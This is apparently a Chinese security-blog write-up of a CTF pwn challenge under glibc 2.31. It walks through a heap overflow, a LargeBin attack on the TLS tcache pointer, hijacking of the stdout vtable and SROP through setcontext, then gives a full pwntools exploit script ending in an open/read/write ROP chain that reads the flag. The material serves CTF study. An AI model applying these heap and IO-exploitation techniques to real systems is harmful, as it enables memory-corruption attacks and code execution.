<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    glibc2.31下通過IOAttack開啟ROP

    VSole2021-11-11 16:14:59

    01、程序分析

    每次開始前會檢查兩個hook

    Add會情況tcache

    Delete就是正常的刪除

    View會根據strlen的結果輸出

    Edit則是根據命令來的

    Gift則會安裝下面的命令解析, 有一個向上的堆溢出

     

    02、思路

    雖然輸入時進行了00階段, 但是Edit寫入時沒有00階段 把一個chunk放入LargeBin然后再申請出來, 然后利用Edit覆蓋掉00再通過View就可以得到libc地址和heap地址

    Gift沒有限制p的上限因此是存在堆溢出的, 但是Gift只讀入0x100, 而chunk最少0x400, 所以必須要寫一個循環的小程序實現:

    [會判斷note[idx][p]是否為00, 如果是00的話就跳轉到]后面一個位置, 如果不是則什么也不做相當于nop

    因此把chunk全部用AAA填充, 然后Gift執行[>], 就可以跳過所有的非空字符, 然后利用多個,>解析堆溢出

    有了堆溢出之后由于限制了size>0x400, 所以就想LargeBinAttack,在rtld_global中寫入一個heap地址, 劫持fini_arr段, 在exit時觸發getshell, 但是找了半天發現程序沒用exit(), 調用的都是_exit(), 所以就只能放棄

    exit()無法利用, 并且hook會有檢查, 翻一下題目發現會時不時的調用printf() getchar() 等IO相關函數, 因此就只能進行IOAttack了.

    可是只有一個堆地址寫入無法完成IOAttack, 必須擴大戰果, 后來發現一個比較雞賊的地方, size>0x400包含一個0x410的大小, 而0x410就是tcache能管理的最大的size了. 所以利用LargeBinAttack直接打TLS段中的tcache指針, 劫持tcache->next[0x410]這個鏈表的鏈表, 從而實現任意寫. 同時Add每次覆蓋的都是原來的tcache對象, 不會影響劫持的, 然后就可以開啟IOAttack了

    2.31下的IOAttack是比較簡單的, 雖然不能劫持虛表指針, 但是stdin/ stdout/ stderrr三個標準流使用虛表位于一個可寫入段, 可以直接利用tcache去覆蓋虛表中的函數指針為OGG, 然后調用getchar()或者printf()函數, 直接getshell

    但是后續發現禁用了execve(), 因此只能想辦法通過IOAttack進行ROP, 后續發現getchar()的虛表調用指令是mov rax, [虛表+偏移]; jmp rax也就是說rax中就是指令地址, 這種跳轉是無法通過GG去控制更多寄存器的, 而printf()的虛表調用指令為lea rax, [虛表+偏移]; jmp [rax]跳轉之后rax殘留的指針指向虛表區域, 也就是我們可控的位置, 是有希望通過rax控制更多寄存器的.

    但是我利用了一個更巧妙的方法來進行ROP, 虛表中調用的函數有一個特點: 函數的第一個參數就IO_FILE對象自己, 對于printf來說, 如果能夠控制IO_2_1_stdout為SigreturnFrame并且控制_IO_file_jumps中__overflow函數為setcontext就可以開啟ROP,

    這就要求Tcache任意寫兩次, 可是我們只能申請一個屬于tcache的size, 但是如何要寫入的地方存在一個執行下一個要寫入地址的指針, 就可以直接偽造一個包含2個chunk的0x410的tcache鏈表, 這個條件是否存在呢?結果時存在的stdout使用的虛表同時被stdin stdout stderr三個流使用, 并且有一個特點: stderr正好高就位于stdout上方不遠處

    也就是說可以把令tcache->next[0x410] = &stderr->vtable,

    malloc(0x408)首先會申請到stderr的vtable指針所在位置, 向后8字節就是stdout

    取出chunk1時有: tcache->next[0x410] = (&stderr->vtable)->next = vtabele,

    因此再次malloc(0x408)就可以申請到stdout使用的虛表, 完成劫持

    至此我們可以控制rdi與rip, 直接覆蓋函數指針為setcontext就可以開啟SROP.

    但是我想額外說明一下SROP時rdi與rdx的問題. 2.27一下的libc中setcontext函數全稱使用的都是rdi, 但是在2.31中setcontext設置寄存器部分的使用的是rdx設置寄存器

    當我們只能控制rdi與rip時有兩種繞過思路

    rdi設置為frame地址, 調用setcontext(). 但是必須要設置保存浮點狀態的指針frame['&fpstate']部分為一個可讀寫的地址, 這樣直接執行setcontext()是沒問題的

    第二種是尋找一個通過rdi設置rdx與rip的GG, 利用這個GG中轉一下, 把rdi與rip的控制權轉換為rdx與rip的控制權, 然后跳轉到setcontext+61處, 不執行fldenv指令, 直接進入到設置通用寄存器的部分

    我個人更喜歡第一種思路, 只需要順便設置一個可讀可寫地址, 就不用費心思中轉了

    03、EXP

    #! /usr/bin/python# coding=utf-8import sysfrom pwn import *
    context.log_level = 'debug'context(arch='amd64', os='linux')
    def Log(name):    log.success(name+' = '+hex(eval(name)))
    libc = ELF('./libc.so.6')
    if(len(sys.argv)==1):            #local    cmd = ["./pwn"]    sh = process(cmd)else:                            #remtoe    sh = remote(host, port)
    def Num(n):     sh.send(str(n).ljust(0x10, '\x00'))
    def Cmd(n):    sh.recvuntil('>> ')    Num(n)
    def Add(sz, cont=''):    if(cont==''):        cont = 'A'*sz    Cmd(1)    sh.recvuntil('Size: ')    Num(sz)    sh.recvuntil('Message: ')    sh.send(cont)
    def Delete(idx):    Cmd(2)    sh.recvuntil('Index: ')    Num(idx)
    def View(idx):    Cmd(3)    sh.recvuntil('Index: ')    Num(idx)
    def Edit(idx, cont):    Cmd(4)    sh.recvuntil('Index: ')    Num(idx)    sh.recvuntil('Code :')    sh.send(cont)
    def Gift(idx, cont):    Cmd(5)    sh.recvuntil('Index: ')    Num(idx)    sh.recvuntil('Code :')    sh.send(cont)
    def Exit():    Cmd(6)
    def GDB():    gdb.attach(sh, '''    telescope (0x0000555555554000+0x204050) 16    break *(0x0000555555554000+0x1c1c)    break *0x7ffff7e520cf    break *0x7ffff7e4ea26    ''')
    # A用來泄露地址, DF屬于同一個LargeBin用于進行LargeBinAttack, E用于隔開DF防止合并, C用于溢出DAdd(0x420)  #AAdd(0x408)  #B
    Add(0x407)  #CAdd(0x460)  #DAdd(0x408)  #EAdd(0x450)  #FAdd(0x408)
    #先把A放入LargeBin中再取出來使其殘留相關地址Delete(0)   #UB<=>AAdd(0x500)    # 整理到LB中, LB<=>ADelete(0)   Add(0x420, 'A')  #get A again
    #覆蓋00截斷, 讀出bk獲取libc地址Edit(0, '&('*0x8+'')sh.send('A'*8)View(0)sh.recvuntil('A'*8)libc.address = u64(sh.recv(6)+b'\x00\x00')-0x1ebbe0-0x3f0Log('libc.address')
    #覆蓋00階段的部分, 讀出fd_nextsize獲取heap地址, 后續發現其實沒heap地址也可以Edit(0, '&('*0x10+'')sh.send('A'*0x10)View(0)sh.recvuntil('A'*0x10)heap_addr = u64(sh.recv(6)+b'\x00\x00')-0x2b0print(hex(heap_addr))
    #后續LargeBinAttack時會覆蓋TLS的tcache指針為F的地址, 因此預先在F中偽造一個tcache對象Delete(5)exp = b'\x02'*0x268    # 一個鏈表有2個chunkexp+= p64(libc.address+0x1ec698)    #同時控制stdout與虛表的關鍵: Tcache[0x410] = &stderr->vtableexp = exp.ljust(0x450, b'\x00')Add(0x450, exp)    #申請時寫入, 因此Edit用起來不太方便
    #先把同一個Largebin中更大的那一個放入Largebin中, 因為LargeBinAttack在 要整理的chunk是所屬Largebin最小chunk時 發生Delete(3)Add(0x500)  #LB<=>D
    #進行堆溢出, 覆蓋D->bk_nextsize = tcache@TLS - 0x20exp = '[>]'+('>,')*0x29+''Gift(2, exp)sh.send(b'A'+flat(0x471, libc.address+0x1ebfe0, libc.address+0x1ebfe0, 0, libc.address+0x1f34f0-0x20))
    #把D整理到所屬Largebin中, 觸發LargeBinAttack, 劫持TcacheDelete(5)    #UB<=>D, LB<=>FAdd(0x500)
    #至此我們有Tcache-> (stdout-0x8) -> (_IO_file_jumps)#先申請出來的chunk位于stdout附近, 因此要在這里布置好SigreturnFrame, 同時要保存原有數據, 不能干擾正常的調用虛表函數的邏輯exp =flat(0)            #stderr->vtableexp+= flat(0xfbad2087)  #stdoutfor i in range(12):    exp+= flat(i)
    ret = libc.address+ 0x25679buf = libc.address+0x1ec878rdi = libc.address+0x26b72rsi = libc.address+0x27529rdx = libc.address+0x11c371 #pop rdx; pop r12; ret;
    exp+= flat(libc.address+0x1eb980)exp+= flat(0x101, 0x102, 0x103)exp+= flat(libc.address+0x1ee4c0)exp+= flat(0x201, 0x202)exp+= flat(libc.address+0x1ec790)      # frame['rsp'], 指向后面的rop部分exp+= flat(ret)      # frame['rip']exp+= flat(0x302, 0x303, 0xffffffff, 0x305, 0x306)exp+= flat(libc.address+0x1ed4a0)exp+= flat(libc.address+0x1ec5c0)exp+= flat(libc.address+0x1ec6a0)
    #要執行的ROProp = flat(rdi, buf, rsi, 0, libc.symbols['open'])rop+= flat(rdi, 3, rsi, buf, rdx, 0x30, 0, libc.symbols['read'])rop+= flat(rdi, 1, rsi, buf, rdx, 0x30, 0, libc.symbols['write'])
    exp+= rop.ljust(208, b'\x00')exp+= flat(0, 0, 0)exp+= b'./flag\x00'
    #覆蓋stdoutAdd(0x408, exp)     #alloc to stdout
    #再次申請覆蓋就是虛表了, 直接覆蓋為setcontext就好exp = cyclic(0x38)exp+= flat(libc.symbols['setcontext'])  Add(0x408, exp) #alloc to vtable 
    #然后調用printf觸發ROPEdit(1, 'A\x00')
    sh.interactive()
    
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    分析每次開始前會檢查兩個hook,Add會情況tcache
    前言本文主要著眼于glibc的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc常見的漏洞利用方式,后者主要涉及到一些較新的glibc的IO調用鏈。
    Glibc2.29及以上版本堆的利用技巧越來越復雜,簡直就是神仙打架,實在學得有點頭暈。并且很多時候就算我們有了復用堆塊在出題人的各種圍追堵截的限制,也可能沒辦法getshell,所以一直在不斷開發新的利用姿勢。
    在做這道題的時候一直以為是格式化字符漏洞,沒有發現真正的問題,最后看了官方的wp才明白。
    Ghostscript是一款Adobe PostScript語言和PDF的解釋器軟件,被諸多著名應用(如ImageMagick)所使用。 9月5日,海外安全研究員在Twitter公開Ghostscript的安全模式繞過0day,并給出ImagMgick的利用代碼,該漏洞可以造成任意命令執行,影響諸多下游應用,當天TSRC緊急對該漏洞進行復現與分析。 9月9日,Ghostscript官方發布補丁代
    MTCTF-2022 部分WriteUp
    2022-11-23 09:35:37
    MTCTF 本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1CryptoWeb★easypickle題目給出源碼:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據但本題是loads,在opcodes處理上會有些微不通具體來說就是用loads加載時會報錯誤如下:對著把傳入參數換成元組就行,最終的payload如下
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    linux跟蹤技術之ebpf
    2022-12-30 10:51:15
    eBPF是一項革命性的技術,起源于 Linux 內核,可以在操作系統內核等特權上下文中運行沙盒程序。它可以安全有效地擴展內核的功能,而無需更改內核源代碼或加載內核模塊。比如,使用ebpf可以追蹤任何內核導出函數的參數,返回值,以實現kernel hook 的效果;通過ebpf,還可以在網絡封包到達內核協議棧之前就進行處理,這可以實現流量控制,甚至隱蔽通信。
    雖然從bin中拿出chunk的指針沒有被初始化,但是這個截斷使得我們不能直接泄露libc和堆地址了。
    house of force 主要利用 top chunk 的漏洞 通過修改topchunk_size來進行攻擊 利用 top chunk 分割的漏洞來申請任意 chunk, 然后再劫持 hook 或者更改 got表
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类